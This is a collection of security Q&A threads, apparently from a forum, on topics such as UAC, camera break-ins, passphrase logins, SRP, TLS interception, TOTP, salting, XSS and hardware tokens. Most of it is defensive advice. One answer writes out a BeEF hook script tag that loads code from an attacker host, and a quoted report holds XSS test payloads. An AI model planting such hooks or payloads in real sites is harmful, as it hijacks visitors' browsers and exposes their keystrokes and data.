First, you should take into account the fact that UAC is by no mean the same thing as not having admin privilege. I suggest you read this answer: it contains pretty much all the details you need to know about what UAC is and, more important, what it isn't but the most crucial point is that UAC is only a protection against "low hanging fruits" type of attacks.

That doesn't mean your colleague is wrong either: it might be that, for the set of tasks your users routinely have to perform and for the kind of threat environment you're working in, UAC might be deemed good enough.


Can I bypass my own networked camera? We have networked camera on my house. My brother is protected by user name and password. When I check my network in laptop, I can see the networked camera in my network but when I click to open, it direct to the webpage 10.143.210.12/index.htm and asking me user name and password.

I tried by using different ports, e.g. http:// 10.143.210.12:800, :443, :8080 etc.. (still asking me user name and password). I doubt that someone (guest) who is using our home network can hack into our networked camera.

Is that possible to crack it in? Does being in the same network make it more easy to crack the camera or still the same security strength?

There are a bunch of potential ways for an attacker on your network to break into it:

Bruteforce the password.
Sniff traffic on the network, wait for you to log in via HTTP (not HTTPS) and steal the login details.
Use ARP spoofing (a.k.a. poison routing) to perform a man-in-the-middle attack and steal credentials that way.
Run sslstrip to perform an SSL man-in-the-middle, then steal the login details when you log in. If you already get SSL warnings when logging in on port 443 (likely on an embedded device) you'd never notice that you'd been tricked.
If the router uses session cookies and HTTPS is not used exclusively, an attacker may be able to steal the session cookie and hijack your session, giving them full access to the camera.
Identify vulnerabilities in the camera software and exploit them.

If the attacker doesn't have direct access to the network, they'd have to compromise an internal system or exploit vulnerabilities in your internet-facing router in order to get access. Some routers have poorly designed / configured implementations of UPnP that allow port forwarding rules to be set remotely.


Single randomly generated passphrase for both identity and authentication There are questions about using a password only to identify and authenticate a user, rather than an email address or username plus password:

Why do we authenticate by prompting a user to enter both username and password? Does prompting the password only suffice?
Why have username AND password?
Difference between authentication and identification [Crypto and Security perspective]
Should usernames be kept secret?
Revisting the Username Hash

All of those, however, involved public usernames and/or user-set passwords with the potential to reset them. What about random passwords/passphrases that cannot be reset? DuckDuckGo’s Cloud Save made me wonder about this, since it uses the same random passphrases for both identity and authentication, with no email address or username involved.

Let’s say that we are building a service that stores data about its users.

If the service randomly generates a passphrase/password (e.g., five random words from a dictionary of 2000 words) for each new user,
and every user’s identity is private,
and we don’t have to support resetting forgotten passwords (e.g., because we use user passphrases to encrypt all of the user’s stored data with SHA-512 with PBKDF2 or whatever),
then what risks are there from using only that random passphrase, rather than also requiring an email address or username to identify the user?
(If the new passphrase collides with another user’s during new-user creation, then the service would silently generate another random passphrase and use that instead.)

There is a clear benefit to this: the user would only ever have to type in that passphrase on login, rather than both an email/username and passphrase.

As far as risks go, if an attacker knew that a specific person was a user of our service, the attacker would have to attempt to brute-force the user’s passphrase…which is supposed to be difficult to do in the first place anyway.

However, I can see a risk that the attacker might incidentally happen upon another user’s passphrase while they’re trying to brute-force the first user’s passphrase, gaining access to the other user. But isn’t this a similarly tiny chance anyway? I can see how it would depend on how many users there are registered in the service—if there are a quintillion user accounts, then it’s going to be easier incidentally getting someone’s account by brute-forcing. I don’t know how to calculate this, though.

But that still doesn’t affect the difficulty in breaking encrypted user data if the attacker gains access to the data; its strength would depend on the passphrase and encryption only whether or not an email/username is used for identity.

Are there any other risks to using random passphrases for both identity and authentication / data encryption, without emails/usernames?
How could one calculate the probability that an attacker will find any user’s passphrase after T tries, given N existing user passphrases and D total theoretical possible passphrases?

The risks would include the one you mentioned:

  the attacker might incidentally happen upon another user’s passphrase
  while they’re trying to brute-force the first user’s passphrase,
  gaining access to the other user

For each user that is added to your service, the attacker gets a "free" guess during their attack. In your scenario of an attacker only going for a single user then this doesn't matter - but in the case where an attacker just needs access to one account, every password guess they try is automatically tested against each user account. This works in both an online and offline scenario (the latter might be possible if an attacker gets access to any password hashes that are stored - it's not clear if you're using these or not).

Another drawbacks is that automatic lockout or request throttling of repeated guesses against a particular user is not possible. This is the primary mitigation against password guessing attacks.

  if there are a quintillion user accounts, then it’s going to be easier
  incidentally getting someone’s account by brute-forcing. I don’t know
  how to calculate this, though.

Quintillion = 1,000,000,000,000,000,000
(World population 7,400,000,000)

Number of permutations = 2000^5 = 32,000,000,000,000,000

Chances that a guessed password (if the wordlist and method is known)
matches an existing one of the quintillion accounts = 3.2%

Chances if everyone in the world has one account =
2000^5 / 7,400,000,000 = ~1 in 4.3 million

In order to make these calculations meaningful you would need to know the approximate size of your user base. I doubt it will be as high as in the examples above, but with a quintillion an attacker only needs 32 guesses on average.


SRP or WebCrypto challenge? For a new website (HTTPS with HSTS+HPKP), we would like to restrict login access only on authorized user's devices. For that, there is a WebCrypto ECDSA public/private keys generated on each new device. The server store the public key of the new device and return a device ID. The browser save in an IndexedDB named « device » the private key (not extractable) and the device ID.

When the user register his account or want to authorize a new device, we ask him a password for this device, but we don't want to save his password in server database.

We could use SRP protocol and send the salt & « verifier » to the server, but rather using the user password, we use a derivated password (WebCrypto PBKDF2 or Argon2 library)
Or we could use WebCrypto again to create new ECDSA keys, specific for this user on this device, and send the public key on the server. On the browser, we store in an IndexedDB named « base64(SHA-256(login) » this user private key but encrypted (wrapKey function) with AES-GCM algorithm and for the key we use the user password derivation (WebCrypto PBKDF2 or Argon2 external library). Then to login, the server send a challenge, a simple random string, the client return the signature of this challenge with this new user specific private key (so he need to known the good password to unwrap the key).

If our DataBase is leaked:

With SRP, the verifier can't permit to guess easily the user password, but I suppose we need to ask a new password to all our users.
With WebCrypto, it's only a public key. Users don't need to change their password. EDIT: A downside is it's possible to do multiple passwords check on the client side, for example if I known my victim I could try may be 1000 possible passwords on the JS Console to unwrap the user private key, without the need to contact the server.

Of course, if the IndexedDBs are deleted on the browser, this require for the user to start a process to recover his account (private question, OTP by email, whatever... it's not the subject), but this is not specific to the WebCrypto option, it's also happend for the SRP option because we need to detect the device ID and check their signature to be sure it's a device authorized by the user.

Just for information, we also add U2F after this first authentification challenge.

In my specific case, do you recommend to use SRP challenge or this WebCrypto challenge please?

I propose this solution to answer to my question:

WebCrypto ECDSA keys are really useful, but if we use it as explained in my question (wrapped encrypted with AES-GCM), it's possible for an JS Coder to go on the victim's browser and try thousand of passwords in the JS console to known if it's the good password or not, without any connection to the server. So, it's surely better to not permit to try the password without server interaction. It's why my solution is to only keep the device ECDSA keys, with not extractable private key, not encrypted and global to all users on this device.

SRP is widely-tested and widely-deployed, however in case of DB leak, even if it's difficult to retrieve the user password from brute-force, it's possible because the attacker have the SRP salt and the verifier. So, the best is to not use the user password but a random OTP, and renew it at each successful connection.

Firstly, if the device doesn't have a stored private key:

Generate new WebCrypto ECDSA keys
Send this device public key to the server
The server return a deviceUUID and a sort of JWT for next requests

When user sign up or autorize a new device:

Generate an OTP of 512 random bits
Generate a salt of 128 random bits for the derived OTP
Derive the OTP with Argon2 512 bits, salt=derivedOTPSalt
Generate a salt of 128 random bits for the SRP
Create the SRP verifier for this derivedOTP key
If user have a U2F device, register it for this device
Send to the server the deviceUUID, SRP salt/verifier of the derivedOTP key and the U2F PublicKey. The request is signed with the ECDSA device private key.
If the user registration is accepted by the server, then, request a password from the user for this device
Generate a salt of 128 random bits for the password derivation
Derive the user password with Argon2 512 bits, salt=derivedPasswordSalt
Create a masked key: OTP ^ derivedPassword (XOR)
We save in a user dedied DB IndexedDB/sha256(login) : maskedKey, derivedOTPSalt, derivedPasswordSalt, u2f=(true/false)

Then, when user want to sign in:

Send login and deviceUUID to the server and request SRP/U2F challenges (request signed by the ECDSA private key, like all requests to the server)
If the signature of the device is ok, the server return: challengeUUID, SRP Salt/B challenge and a random text challenge to sign with U2F device (even if we known that the user does not have one)
If the user have a U2F device, sign the challenge or generate random bits (to fool any MITM)
Request the user password for this device and derive it (Argon2, salt=derivedPasswordSalt)
Get the result of stored maskedKey ^ derivedPasswordAttempt (XOR)
From this result (in theory, we get the original OTP), then we derive it with Argon2 / salt=derivedOTPSalt, and create from this the A/M1 SRP challenge answer
We also prepare the next OTP following the sign up method
Send to the server: challengeUUID, U2F challenge, SRP A/M1 challenge and the next SRP verifier & salt for the next OTP.

The server can confirm it's the good OTP, the good ECDSA device signature, and if user have a U2F device the good U2F signature. If all is ok, the server replace the old OTP verifier/salt with the next one, and return an new authorization JWT.

With this solution, even if the DB have been leaked, it's impossible to retrieve the real user password, it's only possible to retrieve the derived OTP, and it's not enough for the attacker to spoof the user identity because he also need the private key of the device (and an possible U2F device).

For a MITM, he can't read user password or OTP, but can read each OTP verifier/salt. Otherwise, it's not enough because he also need the private device key and may be the user U2F device. We also use HTTPS with HSTS+HPKP to prevent MITM attacks.

For an attacker with victim's device access, he can use the private key of the device, and can read salts and the masked key, but this shouldn't help to guess the password, even with brute-force attack on client side, because he need to check if the OTP is ok with a server request.

This solution also reset each time a new OTP after each sucessful authentification. In case of DB leak, we can send a PUSH notification to all users to just ask them to connect to the service, for reseting their OTP.

So, this solution use respected protocols (SRP, ECDSA device keys, U2F verification, OTP, Argon2/PBKDF2) and are mixed to increase the security.

If some peer could review this design to point any point of failure, this could be really appreciated :)


Deep Packet Inspection SSL : How DPI appliances prevent certificates warnings? How Deep packet inspection (DPI) tools prevent from certificates warnings through decrypt and re encrypting packets ?

These devices work as a man in the middle, that is the communication is no longer end-to-end. Because the SSL encryption is terminated at the DPI device and re-encrypted the client does not see any information of the original encryption, especially:

Ciphers and protocol versions might be different, that is the client does not notice if the original server used weak ciphers because the traffic between the client and the DPI solution is protected with a better cipher or protocol version. On the other hand it also allows a DPI solution to make sure that the connection to the server uses strong encryption no matter what the original client would do.
Certificate validation is done inside the DPI device and a new certificate will be created (signed by the DPI CA). This means the client will not see problems of the original certificate like a weak signature algorithm. On the other hand the client can not be tricked into accepting invalid certificates because the DPI device could enforce strong validation.

Unfortunately there were several cases in the past where DPI devices made the whole system less secure because the failed to properly validate certificates, used a common proxy CA between all devices of a single vendor or similar.

For more information about this topic I recommend to read the extensive article SSL/TLS Interception Proxies and Transitive Trust from 2012.


Can I have CA with JSSE Maybe the title isn't correct but what I am trying to understand is...

I want to create a certificate for my CA which will be self-signed and then create certificates for my clients and my server. Is this possible with JSSE? I have found how to do that with OpenSSL only.

JSSE is the support for SSL/TLS. It uses certificates but includes no code for generating certificates. And, more generally, there is no code in the stock JVM that supports producing new certificates. There is code for generating new key pairs and signing; from there, making self-signed certificates is "just" a matter of implementing some ASN.1 encoding/decoding, which is easier said than done.

Your best bet, in "full Java", is to use some third-party library or product that does the job. Bouncy Castle is a Java library that includes code for generating certificates. Alternatively, EJBCA is a complete PKI solution (written in Java) that, by definition, can generate certificates, because that's what Certification Authorities do.

The biggest hurdle with certificates is understanding what you are doing, because the X.509 standard is, when you come down to it, a Devil-spawned abomination meant to torture and fill with despair and sorrow security developers. What you want to do is, indeed, to run your own CA, so you'd better start with a CA solution which already irons out most of the tricky details, contrary to the OpenSSL command-line tool, which is rather low-level. You will still need to think, but at least you won't go mad in the attempt.


Is it helpful to slow down the password reset function? I've implemented a password reset function for a website I'm working on. By default, the function is very fast, and I'm wondering if it would be helpful, from a security standpoint, to intentionally slow it down a little.

I'm thinking of simply adding a sleep call at the start of the controller action.

My reasoning is, a user who is genuinely trying to reset their password, probably won't be bothered by waiting an extra 5 seconds or so, to receive the confirmation that the password reset email has been sent. However this extra 5 seconds, I'm hoping could help slow down a bot.

One of my main reasons for wanting to do this, is because previously the reset function didn't give any indication if an invalid username was entered. This was to prevent malicious users from attempting to find valid usernames. I've been asked to change this though as users were finding it confusing.

As the reset function can now be used to determine if a username is valid, I wanted an extra level of security to help prevent malicious use.

There's no need to make it possible to enumerate usernames via the password reset function. Simply offer a box for an email address (or username, if email addresses aren't guaranteed to be unique in your system), and any time somebody enters one, give them a message saying "if we have (that address|an address corresponding to that user) in our system, we have sent an email. Please check your email, and note that it may take a few minutes for the message to arrive. The email will be valid for [some short time]."

If you want to slow down attempts to abuse the password reset system anyhow, a good CAPTCHA is probably a better bet than an artificial delay.

Also, I echo everything in @neonprimetimesecurity's second paragraph, with the addition that not only should the link be cryptographically random and unguessably long, it should no longer work after one use regardless of the time remaining until it expires. (You can make "one use" mean "once the password is actually reset" if you want, sometimes people run into issues with email scanning services that request every URL in an email and end up invalidating links before the user gets them.)


Why make it difficult to disable MFA tokens? Some websites make it easy to enrol multiple TOTP apps at the same time but make it difficult to disable these apps. For instance, the user would have to completely reset the MFA settings instead of just disabling one TOTP app, or the user would have to provide a state-issued ID to have this done by user support.

What type of threat scenario does this address? After all, an attacker who would be able to authenticate as a legitimate user would then be able to change the password and lock the legitimate user out, so what is the difference?

What type of threat scenario does this address?

If a password dump of ServiceA leaks, and it contains the credentials for a user, and this user have an account at ServiceB protected by 2FA, nobody will be able to authenticate as him, even with the correct password. As password reuse is a common problem with credentials (the vast majority of users have few passwords and use the same passwords on every service).

  After all, an attacker who would be able to authenticate as a legitimate user would then be able to change the password and lock the legitimate user out, so what is the difference?

If the account is protected by MFA, an attacker will only be able to authenticate as the user if the MFA token was stolen too. If the attacker have the password but not the MFA, those procedures would help protect the account in the case of a password leak.

If, for example, the legitimate user lose his phone with the MFA token, or his hardware token, but knows the password, he can prove ownership of the account by supplying his ID or another details proving he is the owner, before disabling the 2FA and allowing him to login again.


How to check www.abc.com/?page=xyz is vulnerable to RFI or not? On my friends website when I typed www.abc.com/?page=non existing page, I got page not found error.But when I gave www.abc.com/?page=www.google.com  I got blank white page.So is this website vulnerable to RFI? Why did it show blank page instead of error page?

Generally if you're looking to test for RFI the way to approach it is to place a URL that you have control over as the parameter.  That way then the URL is accessed you can look in the web server logs to see if you had a request from the server your assessing for that page.

As to whether this website is vulnerable, to be honest it's not possible to tell definitively from the information at hand.


Should web sites disable form autocomplete on all forms? I've noticed that some web-app security scanners flag the 'AutoComplete' feature of some websites (in the username/password fields) as a security risk and thus suggest including AutoComplete=off or in the code somewhere.

I've since learned that autocomplete is a non-standard attribute and apparently doesn't work in some browsers.

I'm wondering if there's a 'best practice' in terms of security when it comes to this?

That kind of depends whether you're aiming for security, or to please an auditor.

If you enable autocomplete for the username and password, they'll stay recorded in the user's browser. That means the user won't need to remember it or store it in an easily-accessible place, which means you actually have a chance that they'll pick a strong password. (You have a better chance if you can impose the password.)

If you disable autocomplete, and the browser honors this setting, the user will have to type their password again every time. Therefore they will pick one that's easy to remember and type. If you manage to impose a strong password, they'll store it in an easily-accessible place for copy-paste. A password in a random text file that may be accidentally copied around, that may be pasted by mistake in a public place (URL bar, email, …), is a far worse risk than a password stored in the browser's password store.

You may find the argument that if the user is using a shared browser, they're leaving the credentials around for the next person using that browser. This argument is bogus: even if the browser honors autocomplete=off, they're leaving the password to any passing keylogger.

I think mobile browsers tend to ignore autocomplete=off, due to a combination of awkward keyboards, lack of availability of post-it notes while on the move, and an expectation of a smooth UX.

One specific case where you should turn off autocomplete as thoroughly as possible is a credit card CCV. Maybe even the card number while you're at it, but if you do that, store it server-side and don't let it be displayed in full (though this is not a panacea).

Do make sure however to turn off autocorrect for passwords. You don't want a password to be corrected to a word in the mobile device's dictionary, or to be added into the dictionary when the user rescinds the autocorrection.


Encrypting file stores in s3 I am developing a system for storage of medical records. A person could upload image(s) or file(s). Since it is a medical record , it needs to be stored in encrypted form.Also I want that the files or images could only be seen by authorised user. Can you please suggest what standards should I be using (The API is in NodeJS and using S3 for stoarage)?

Word of advice: It's great that you are reaching out, but medical data
  is particularly sensitive and handling should be done by an
  experienced developer and the code should be peer reviewed. There is a lot at stake here and too many things can go wrong.

That said you need to take several aspects into consideration.

The first thing you need to do is a threat analysis. What threats do you need to protect yourself from?
Most likely you will also have to follow legal requirements. What are those? How are they checked?

On a more technical aspect, you will most likely need to consider these:

Upload and download need to be via HTTPS, preferable with a modern cypher suite.
Your S3 buckets must be private and access should only be allowed via signed URLs
Singed urls should be handed out by your application after checking that the user has indeed access to this resource. Validity of this URLs should be short, so that they can't be bookmarked or passed around.
How you encrypt the data is highly depended on your use case. I can only give you hints since I don't know where you need to take your application

If you encrypt in the backend, you need to setup a key management. It also means you will have to download the files from S3 to the backend, decrypt it, before you pass it to the client.
Client Side encrypt is possible, but again, key management is important. This will also have an impact on who can share files. If only the client has the key, they are the only one to decrypt it.
In both cases, you still have the issue that once the client can view the data in unencrypted form, it is available unencrypted and no longer protected.

Last but not least: do not implement your own cryptography. Select a popular library, make sure you understand it well, and keep it up to date with the latest security patches.


Certificate Setup Over Many Remote Resources Imagine that you have a web app that needs to talk to a central api server with its purchased certificate. This server provides a token to the web app to be used to authenticate and talk to another remote resource (another api server of our own). The remote resource can change anytime and can not hold the certificate of the central api server for security purposes but it must talk over https with the web app.

I have not tried this setup but do I need a purchased certificate for each of those remote servers (there could be many of them) so that the browser allow a https connection to them without complaining about the fact that it would not know their CA or can I manage this with self-sign certificate?

You can add - inside your app - a trusted certificate to the chain, and you can use a self-sustaining private CA. Even more I'm encouraging you to do so because of security, encode a key's checksums inside your app and verify them too.


How many known time/result combinations does it take to guess a HOTP/TOTP secret? I thought about "recovering", "determining", "guessing", "calculating" or "reproducing" the HOTP/TOTP secrets when only the outcome (6-digit code + time) is known.

In case we can view the live creation of HOTP/TOTP codes without knowing the actual secret.

How many known results (combination of time and the 6-digit code) does it take in order to "guess" the secret key?
And so, how likely is it that we can successfully recover the secret key in order to reuse it and validate the produced output?
Are there (code) examples of how this could be achieved?

Have a look how the HOTP (TOTP is just a special case based on a time for now) is calculated. It is using HMAC based on hash function either SHA1, SHA2 (or MD5 in worst security case) of secret seed and some counter. It is returning some part of the result as a PIN.

As an attacked intercepting the PINs, you are trying to find out a secret seed of unknown length.

Based on the definition of hash function, it not reversible (unless it is broken). You can not simply reverse the operation even if you would have the whole hash. But you have 6 to 8 decimal numbers. You also do not know where they fit into longer decimal string -- this is also changing based on last byte).

So what are the options you have? The easiest way would probably be to brute-force all the possible values for seed (for example 32 B hexadecimal string) and compare them with the intercepted data. This could work with the TOTP since you can know also the time when it was generated (30s time frames). But in the HOTP, you have no idea what the counter is (unless you would manage to intercept all the PINs.

I would say, the strength of the OTP is its complexity of the algorithm and simplicity of use. I am not giving a proof why it is hard, but I hope the answer summed your question and answers why you can not simply do that.


To salt, or not to salt? Possible Duplicate:
Why is using salt more secure?
Why would salt not have prevented LinkedIn passwords from getting cracked?

Recently I decided that I wanted to learn more about web security, and I've come to a point where I think I understand pretty well how to securely store passwords. I've been using random salts along with hashing for password storage, and I am pretty confident in my solution. However, I came across an article that surprised me a lot. Here is a quote from it :

Salts Will Not Help You
It’s important to note that salts are useless for preventing
dictionary attacks or brute force attacks. You can use huge salts or
many salts or hand-harvested, shade-grown, organic Himalayan pink
salt. It doesn’t affect how fast an attacker can try a candidate
password, given the hash and the salt from your database.

Well now I am confused...
Is adding salt to passwords still relevant?

Yes and no.

Salt protects you against someone obtaining your database and deducing the actual passwords even though they are hashed. (If someone steals your entire database, it is likely that they have also obtained the user data that the passwords were supposed to protect in the first place, but let's assume that passwords are even more valuable than use data, because many people use their passwords on multiple sites, which would then also be compromised.) therefore, both hashing and salting is standard practice to optimally protect your users.

However, salt doesn't protect you from people choosing "password123" as a password, and an attacker simply trying out common passwords. Nothing can protect you from that - if the user can enter their lame password and obtain access, so can an attacker (the system doesn't know who is at the other end of the line, which is the entire point of passwords to begin with).

For good security, both the provider and the user have to act in a minimally competent manner - one of the two isn't enough.


The spyware spooks use to hack mobiles With regards to the report and video link below: How do I guard against this sort of snooping? Is it only possible if unwittingly install some kind of trojan?

BBC Click Report:

  Surveillance software which can snoop on mobiles, tablets and PCs was
  stolen from the vendors, Hacking Team, last month.

The attackers published the software on several internet sites making it openly available to download

I find that many cases the device needs some kind of malware installed on it without user knowing:

Fake malware apps that look like Facebook/twitter,
Bundling malware within genuine apps,
Targeted Bluetooth attack,
Etc.

At some point they would need some type of control software to command over (hence command and control), and yes it is possible.

You need to pay attention on to what you're downloading and using. In most cases phishing rules apply here.

As I am not as coding technical as many others are my answer for you is very policy and common sense based. Hope it helps.


Software update process (dependencies) in organization Wondering how other organizations manage software update process.
We are a startup, were we try to define components owners, which should update them (security updates etc).
This does not to seem to work well. People leave, components are left not updated.
How to organize effective and working update process in the organization?
We have also Security Champions and Security Team.
I would think we should focus on updating external components first, dozen of them.
How do other do it? What is the process? Structure of it? Should there be a centralized or decentralized approach? Who should drive it?
Preferred Scrum based approach/agile.
Thanks,

There is no answer possible. Many struggle with this and almost nowhere it actually works.
The point about component owners is perhaps the most important one. Every component must have a component owner. When people leave, someone else needs to pick that up (this is actually hard). In my experience, some form of hierarchy in the components (not necessarily in the organization!)help. For example: you may have a component-owner for all servers. He then delegates his Linux servers to a linux-component-owner and a windows-component-owner. When the Windows-component-owner leaves, it is clearly the responsibility of the servers-component-owner to appoint a new windows-component-owner. Likewise, if the server-components-owner leaves, the windows and linux owners will need to reelect a new server-owner. Do not rely completely on the fact that a leaver correctly transfers all his responsibilities within the organisation.
Any organization has some form of hierarchy. Ultimately, the top must be responsible for all IT.
Another challenge is how to make sure that your component owners actually update their components. And preferably without setting-up a huge administrative process. As a thought experiment: try to imagine such a process without a spreadsheet. Many just put-up with an administrative process though.
The remark "preferred Scrum based approach/agile" means that you are not looking to the structure, but only to its execution. You will need a structure that is independent of your scrum. Otherwise, you are down to forcing every team to put 2 story points (or whatever your scale is) for updating per component on their sprints.


SQL Injection in a Web Service URL as a Parameter Value Obviously SQL Injection via the payload of a message is a very common practice and therefore it is always key to cover this (I already have in my code). However I'm just wondering about how possible it is for SQL Injection via the URL and whether this is possible as an actual method for SQL Injection.

I'll give an example URL to detail my question better. If I have a URL such as this with the SQL statement to be used for Injection included inside a parameter as its value (please note that the 'SELECT' could be any SQL query):

https://testurl.com:1234/webservicename?parameter=SELECT

I would like to know if this is valid way and would this actually work for hackers in terms of trying to inject into the back-end of the desired web service and also if so, what is the best way to go about covering for this?

SQL injections have nothing to do with whether or not your application accepts URL parameters. They work with any input, be it the URL, the request body, a cookie, an HTTP header or even data from your own application (e. g. a string stored in your database). It doesn't matter.

So it's not about the origin of the input. It's what you do with the input. If you take dynamic data and simply insert it into an SQL query, that's a potential vulnerability. And, yes, this happens very often.

SQL injections cannot be prevented by checking the input. They must be prevented at database-level, for example by using prepared statements.


What are the risks of installing a root certificate from Facebook on your phone? I read a TechCrunch article today describing a program Facebook has been running since 2016 where they pay users $20 in exchange for installing a root certificate run by Facebook.

This immediately struck me as a massive privacy risk, especially if this ever transitioned into an 'opt-out' policy rather than an 'opt-in'. However, when trying to describe this issue to some friends, they didn't seem to share my privacy concerns. One friend told me 'they know Facebook has a creepy reputation,
but if it was a company they trusted, they would be okay with it, because they have nothing to hide'.

I'd like to be able to articulate some real-world potential consequences from granting anyone this level of access to your device, let alone a large corporation. However, I also don't want to blow something out of proportion if it's not really that troublesome. What are some realistic risks/worst case outcomes that could result from this type of activity?

Do you trust that Facebook and everyone they sell the data to will not use it for evil?

Allowing Facebook to install a root certificate on your phone makes it possible for them to intercept any and all communications, even encrypted ones. They will be able to view everything from arbitrary private conversations to banking transactions or online purchases. They will be able to record every password you use on every service if they so wish, even if the password is being sent to a secure website using HTTPS for encryption. You have no way of knowing how they will use this data or who they sell it to.

Facebook makes money not just through advertisements, but by collecting personal information and selling it to the highest bidder. This includes advertising and profiling companies as well as "foreign" governments. The information can be used to formulate the best ways to manipulate you in the future, either to buy a product or to vote in a certain way, as has been done by Cambridge Analytica.

Do you trust that the security of this app is sufficient that hackers cannot exploit it?

Even if you trust Facebook and everyone they sell to not to use this power for evil, there are countless hackers who would love to take advantage of this fact. Normally, your system only trusts root certificates that have gone through extreme scrutiny, having gone through a key ceremony for improved security:

  The actual root key-pair generation is normally conducted in a secure vault that has no communication or contact with the outside world other than a single telephone line or intercom. Once the vault is secured, all personnel present must prove their identity using at least two legally recognized forms of identification. Every person present, every transaction and every event is logged by the lawyer in a root key ceremony log book and each page is notarized by the notary. From the moment the vault door is closed until it is re-opened, everything is also video recorded. The lawyer and the organization's two signatories must sign the recording and it too is then notarized.

Web browsers will not accept root certificates from any entity which has not gone through such extensive measures to ensure the root certificate is secure, but by installing this "Facebook research VPN" and root certificate, you are completely bypassing this process. How much security do you think Facebook has actually put into guarding the root certificate that they are asking you to install?


Cloning of EMV cards I am trying to get information about cloning of EMV credit cards (chip cards). I have a good understanding of the cryptology behind it and know that it is impossible to clone it "from the outside" like a magentic card. The question I want to get answered if there are any attempts to clone it (get the private keys out of the card) when having full access to it. Multiple week where the chip can be opened up. My intuition says that this should be far from impossible. But when I try to google this, the only information I get is successful downgrade attempts and how it is impossible for criminals to skim these cards but that is not what I'm interested in.

Cost efficiency

There are known methods that would work to extract data from EMV cards, namely, decapping the chip and analyzing its contents with various microscopy and probing techniques; just  as for other chips. For example, here's a PhD thesis on how it can be done for SIM cards. However, the issue is that it's not practical - you need full access to the original chip (not temporary access as in skimming scenarios), the analysis is destructive (you break down the chip mechanically and/or with solvents), and it requires highly specialized equipment and skills, doing such an analysis costs much more than you could hope to earn by cloning a single card. This means that it's not considered a serious risk, as there's no practical motivation for criminals to do so, and it can be mitigated by various transaction limits and the expectation that a physically missing card will be detected and blocked soon.


GET with additional parameters leads to "code injection" in html displayed We got a security review done of our PHP code and the security company sent this in their report:

Request

GET /appdir/ajax/addAvail.php?counter=1216%3cscript%3ealert(0)%3c%2fscript%3e&from=1216%3cscript%3ealert(0)%3c%2fscript%3e&to=1216%3cscript%3ealert(0)%3c%2fscript%3e&day=1216%3cscript%3ealert(0)%3c%2fscript%3e&parentDiv=1216%3cscript%3ealert(0)%3c%2fscript%3e&type=1216%3cscript%3ealert(0)%3c%2fscript%3e&date=1216%3cscript%3ealert(0)%3c%2fscript%3e&showdate=1216%3cscript%3ealert(0)%3c%2fscript%3e
HTTP/1.1
Host: localhost
Proxy-Connection: keep-alive
User-Agent: x
Content-Length: 0
Cache-Control: max-age=0
Origin: null
Accept: text/html
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Fri, 17 Dec 2010 00:46:48 GMT
Server: Apache/2.2.14 (Win32) DAV/2 mod_ssl/2.2.14 OpenSSL/0.9.8l mod_autoindex_color PHP/5.3.1 mod_apreq2-20090110/2.7.1 mod_perl/2.0.4 Perl/v5.10.1
X-Powered-By: PHP/5.3.1
Set-Cookie: PHPSESSID=q832q9c0ftdsat8r55dg32taf7; path=/
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0
Pragma: no-cache
Content-Length: 928
Content-Type: text/html

1216

1216 - 1216

Remove

<input type="hidden" id="hday1216" name="hday1216" value="1216">

<input type="hidden" id="hfrom11216" name="hfrom11216" value="1216">
<input type="hidden" id="hto11216" name="hto11216" value="1216">

If I directly access the script through FireFox (headers reported by FireBug)

/appdir/ajax/addAvail.php

HTTP/1.1 200 OK
Date: Sat, 25 Dec 2010 03:30:54 GMT
Server: Apache/2.2.16 (Unix) mod_ssl/2.2.16 OpenSSL/0.9.8e-fips-rhel5 mod_bwlimited/1.4
X-Powered-By: PHP/5.3.2
Expires: Thu, 19 Nov 1981 08:52:00 GMT
Cache-Control: no-store, no-cache, must-revalidate, post-check=0, pre-check=0, private, no-cache, no-store, proxy-revalidate, no-transform
Pragma: no-cache, no-cache
Vary: Accept-Encoding,User-Agent
Content-Encoding: gzip
Content-Length: 253
Keep-Alive: timeout=5, max=100
Connection: Keep-Alive
Content-Type: text/html

   -

Remove

<input type="hidden" id="hday" name="hday" value="">

<input type="hidden" id="hfrom1" name="hfrom1" value="">
<input type="hidden" id="hto1" name="hto1" value="">

I'm trying to understand why this might be problematic. I will, of course, ask the security company, but I'm also trying to evaluate them and see what the community has to say before they give me some roundabout answer.

Also, this is related to Security review: "HTTP header user-agent has been set to (something)" in the sense that both these issues were identified in the same report.

XSS can be very dangerous in many ways.

For example if I inject the following bit of XSS into your code, all clients viewing this code with Javascript enabled would become a zombie in my BEEF-Framework(Browser Exploitation Framework):

<script src='http://10.0.0.100/beef/hook/beefmagic.js.php'></script>

Once anyone browse a page with that script inclusion in it, the framework automatically lets me know and basically lets me very easily choose between a toolbox of nasty stuff. To name some, which all can be set to autorun when new zombie registers:

Browser exploitation modules (even integrated with Metasploit)
Metasploit autopwn (yepp.. one click one pwn)
Port scanning LAN
Tor detection
Keylogging
See what the user sees functionality
Visited pages bruteforcing
Clipboard theft
Detect plugins

XSS can indeed be very dangerous!

UPDATE: In your specific situation it looks to me like your looking at a non persistent XSS vulnerability. This means that in order for this exploit to affect other users, the attackers would have to distribute the URL to unsuspecting victims for them to load it. This is however not an uncommon sight.


Hardware token to authenticate web application My company is developing a web application, and I was asked to research how to do hardware-based token authentication to login into our web application. Let me repeat: basically there will be a web app, and there will be a usb of sort to be connected to the computer, may be user will need to enter user name & password somewhere and provided that user name & password is correct, user should be authenticated to use our web application. Of course we don't want user to download/install anything on there machine because the machine might not be theirs or they just don't want to do anything extra. My company suggested having a browser plugin, but since the plugin has whatever the system rights the browser has or less, and a browser should not be able to access the underlying hardware (except for camera & microphone since they are essentials)

One way I see how to do it is probably to have a modified version of a web browser which at the same has the ability to check if the security token (the usb) presents, then start the web app from there. If users don't want to run anything or the target computer  doesn't allow running this sort of thing, I think doing this is impossible. Just want to check with you guys if I'm missing something.

I would then suggest Yubikey ( http://www.yubico.com ). Yubikey is a OTP hardware token that does pretend to be a keyboard (Thus requiring NO extra software installation), and then sends a 128 bit encrypted secret to the server. The tokens are fully programmable by the administrator, and its possible to use the token in a variety of ways. You could either use the tokens password-less, eg use the tokens as a one-factor "What you have" authentication.

But you can aswell have the user type a password prior to pressing the button on the token.

Its also possible to configure the token to either use a public identity and then a unique AES key per user, OR you could use a secret identity and then iterate through all AES keys and decrypt (eg, if you have 10 users then you iterate through the 10 different AES keys stored on server) but the process can be CPU consuming, OR you could have the same AES key for all users.

